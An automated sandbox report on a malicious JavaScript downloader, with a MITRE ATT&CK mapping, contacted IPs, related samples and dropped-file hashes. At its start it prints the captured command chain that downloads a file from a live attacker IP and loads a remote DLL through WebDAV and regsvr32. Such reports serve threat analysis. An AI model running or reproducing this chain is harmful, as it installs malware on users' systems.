Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8805713813184.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	2 Windows Management Instrumentation	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4208093227073.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space7	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/space7	net.exe, 00000006.00000002.1737438985.000001FEABBC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2965216469.0000015D96800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1737438985.000001FEABBFF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABBEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABBC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1737438985.000001FEABC20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589979
Start date and time:	2025-01-13 12:46:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4208093227073.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.22.242.123, 2.22.242.11, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 20.109.210.53, 2.22.50.144, 2.22.50.131, 23.209.209.135, 52.165.164.15, 13.85.23.206, 20.3.187.198, 13.95.31.18, 2.19.126.143, 2.19.126.149, 2.16.168.105, 2.16.168.107, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:47:02	API Interceptor	25x Sleep call for process: powershell.exe modified
06:47:06	API Interceptor	1x Sleep call for process: net.exe modified
06:47:06	API Interceptor	2x Sleep call for process: svchost.exe modified
06:47:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073695006319315
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrV:KooCEYhgYEL0In
MD5:	5F270F8788821D2409025F35D3D13BD1
SHA1:	266D027AEC9673EB22B148EEA404C1A4EE475A9B
SHA-256:	DB02BD6ACA85807A79F63F828806183FC61D8B2BD23A6481FA1438FBAEC37E3D
SHA-512:	681E7CCC3258B3AB5CB4F86A840FAC646353453835BC111B52BE406B7DB2EA22CEC191EE168EF47296ED0A13EB110DCC21BBCD49A89CF87EB73E0CCB6148C602
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1f4c3a59, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221226278975658
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	C6678F62C3F435BAF39A9DA0DCB6E401
SHA1:	C576461748715F78052B1E490B28635FF0427A42
SHA-256:	27C875041EE0F1C7D8BE1725A769CC4455D613A2B0602A46690346A1FE65530D
SHA-512:	03F7FB0E1FF041C2A024D4C35E8DB384AADA5E5C82ACB6CF9FB3B0FC71D7A1B221AB5B3796DA4F934E0C62FD2F6435377416654D4D1CC5A743837B43F7FC8716
Malicious:	false
Preview:	.L:Y... .......A.......X\...;...{......................0.!..........{A../...}'.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................E:../...}e....................O./...}'..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07696427800138486
Encrypted:	false
SSDEEP:	3:rum/tKYeVdCjn13a/Pq2GllcVO/lnlZMxZNQl:yWtKzVo53qPMOewk
MD5:	D40F75D2534FB7B81DF8F0C8A5EDA0C3
SHA1:	861B573E7AA8F2BF965123A7AD7B5EF48B2B1417
SHA-256:	BC3C145D59B89FC5E7CD5B27D439FD15E1C31068FA8C728075D5896ECB088CF2
SHA-512:	19D48A419BE587B43FBBCCEB1D4D6A1D0B24C7E3EC75AAF08D1F03C8F6AA24F87E6EEC5B83D14AD9045AC88D14320F3A19F50DD216E8AE049B900E3B5072581D
Malicious:	false
Preview:	...M.....................................;...{.../...}'......{A..............{A......{A..........{A]...................O./...}'.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.231760162634806
Encrypted:	false
SSDEEP:	6:iOXVq2Pwkn2nKuAl9OmbnIFUt+OZmwQikwOwkn2nKuAl9OmbjLJ:7XVvYfHAahFUt+O/Qi5JfHAaSJ
MD5:	9A7439398E9400F4EB1834D1ED9C01F0
SHA1:	6ECD0ED4DE20F669B6D42632274ADA413FB8A843
SHA-256:	3AD6A5877C306DCD3D4622A977C2D0F288753269B369A4CF2601F78386E619F2
SHA-512:	5DB69C47951B4F05F0D6F37EA33B6AF47755D16081E8D7E2BE508891AEF50A45977594D29AFFD79BD17C73FEAAEC0D2EA6F322FB6C6971A5FE49E0B7962FE920
Malicious:	false
Preview:	2025/01/13-06:47:06.354 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-06:47:06.388 1c70 Recovering log #3.2025/01/13-06:47:06.388 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.231760162634806
Encrypted:	false
SSDEEP:	6:iOXVq2Pwkn2nKuAl9OmbnIFUt+OZmwQikwOwkn2nKuAl9OmbjLJ:7XVvYfHAahFUt+O/Qi5JfHAaSJ
MD5:	9A7439398E9400F4EB1834D1ED9C01F0
SHA1:	6ECD0ED4DE20F669B6D42632274ADA413FB8A843
SHA-256:	3AD6A5877C306DCD3D4622A977C2D0F288753269B369A4CF2601F78386E619F2
SHA-512:	5DB69C47951B4F05F0D6F37EA33B6AF47755D16081E8D7E2BE508891AEF50A45977594D29AFFD79BD17C73FEAAEC0D2EA6F322FB6C6971A5FE49E0B7962FE920
Malicious:	false
Preview:	2025/01/13-06:47:06.354 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-06:47:06.388 1c70 Recovering log #3.2025/01/13-06:47:06.388 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196476387925015
Encrypted:	false
SSDEEP:	6:iOr6q2Pwkn2nKuAl9Ombzo2jMGIFUtlJZmw/SOT7kwOwkn2nKuAl9Ombzo2jMmLJ:7r6vYfHAa8uFUtlJ//SOn5JfHAa8RJ
MD5:	2E0056C054D7179C7C4630F7FA30CCF4
SHA1:	2616238C70C18FF88DD640D89C4D6BD6CB799421
SHA-256:	5014CA7ECAA4FBE647D12EFC289383058911DA238A314CC85BD40252BD2E73D9
SHA-512:	EE6C39D640CAFD2006CB96504D06AE7558C69CA5597036522BA75EBA1AF4BCBEC71E27D42D0FB342F0F2D5292417F65344573FC6C0D38D2ED10672EEDB128965
Malicious:	false
Preview:	2025/01/13-06:47:06.427 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-06:47:06.429 1d60 Recovering log #3.2025/01/13-06:47:06.430 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.196476387925015
Encrypted:	false
SSDEEP:	6:iOr6q2Pwkn2nKuAl9Ombzo2jMGIFUtlJZmw/SOT7kwOwkn2nKuAl9Ombzo2jMmLJ:7r6vYfHAa8uFUtlJ//SOn5JfHAa8RJ
MD5:	2E0056C054D7179C7C4630F7FA30CCF4
SHA1:	2616238C70C18FF88DD640D89C4D6BD6CB799421
SHA-256:	5014CA7ECAA4FBE647D12EFC289383058911DA238A314CC85BD40252BD2E73D9
SHA-512:	EE6C39D640CAFD2006CB96504D06AE7558C69CA5597036522BA75EBA1AF4BCBEC71E27D42D0FB342F0F2D5292417F65344573FC6C0D38D2ED10672EEDB128965
Malicious:	false
Preview:	2025/01/13-06:47:06.427 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-06:47:06.429 1d60 Recovering log #3.2025/01/13-06:47:06.430 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f5f36.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd0ae463-d4b8-49cb-85dd-3bfc925814fe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fdfa31de-677a-41b7-81dc-29c6a50a5cdd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3sBdOg2Hkcaq3QYiubInP7E4TX:Y2sRdsNdMH33QYhbG7n7
MD5:	66C469BF1D47EA4C09A9173ABC7E2518
SHA1:	16FE58D6FE9A41FEC02AB87B43EEF92FBFA40E55
SHA-256:	B4FA0A192DC8B791868E74B4221E31F124567ABB9F5F4AEB25C72C4838285A09
SHA-512:	4E408E73ED3C5996C39FACE9333AAC6122850923BF24C8F5CD4AD4352571167594A281951E23BCAF5DE9613B3ADEE673CC6975FD7BF05F68BB7B5E3E2622E414
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381328838891865","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":160742},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254848513047373
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7OW+Xoj:etJCV4FiN/jTN/2r8Mta02fEhgO73goD
MD5:	BCD1207CAA745C708D37DC7039CED6C7
SHA1:	D559F31D86C8A56E8CD9D91909A50F6F7942AC37
SHA-256:	3CB63208AD111DD5083BF9E4B24374B796BA1DF96A701A79DBB1D1775C4D1AE0
SHA-512:	FB04A5CF59058C8CA97043FC6E78DC87D25CADBE47ED34C620D4E4DBA141939B1F2B2815C72C8425BFD2831CB0D2911814672FF1DAC8A5DA031345CF21B2B745
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.222898563082345
Encrypted:	false
SSDEEP:	6:iOKq2Pwkn2nKuAl9OmbzNMxIFUtUUAZmwiUokwOwkn2nKuAl9OmbzNMFLJ:7KvYfHAa8jFUtK/45JfHAa84J
MD5:	F6AC976B750B4568129FD432AA6EB77F
SHA1:	37ACFCA2684EE44A8F40838636B00DF4A7A391F9
SHA-256:	4E4BFFAF5BB6E47BC5870A1FD21CACA5A2E99E6100CD8048FBE16435D51BE0AA
SHA-512:	375F460C979C7447D8BB3157D02FACEB20A656E9E3EC8486E096DF1ED2B4D9CCEB151C49A21B676D0BA1913911EC50CB084B2F7632713DB9354E4A4BA1474F2D
Malicious:	false
Preview:	2025/01/13-06:47:06.579 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-06:47:06.581 1d60 Recovering log #3.2025/01/13-06:47:06.581 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.222898563082345
Encrypted:	false
SSDEEP:	6:iOKq2Pwkn2nKuAl9OmbzNMxIFUtUUAZmwiUokwOwkn2nKuAl9OmbzNMFLJ:7KvYfHAa8jFUtK/45JfHAa84J
MD5:	F6AC976B750B4568129FD432AA6EB77F
SHA1:	37ACFCA2684EE44A8F40838636B00DF4A7A391F9
SHA-256:	4E4BFFAF5BB6E47BC5870A1FD21CACA5A2E99E6100CD8048FBE16435D51BE0AA
SHA-512:	375F460C979C7447D8BB3157D02FACEB20A656E9E3EC8486E096DF1ED2B4D9CCEB151C49A21B676D0BA1913911EC50CB084B2F7632713DB9354E4A4BA1474F2D
Malicious:	false
Preview:	2025/01/13-06:47:06.579 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-06:47:06.581 1d60 Recovering log #3.2025/01/13-06:47:06.581 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44510211505813
Encrypted:	false
SSDEEP:	384:yezci5tWiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rZs3OazzU89UTTgUL
MD5:	74C8381CD84D1854733833CC2AF451CF
SHA1:	2EF1073D7B6CAA6E59636981CE6B9F822C8AE917
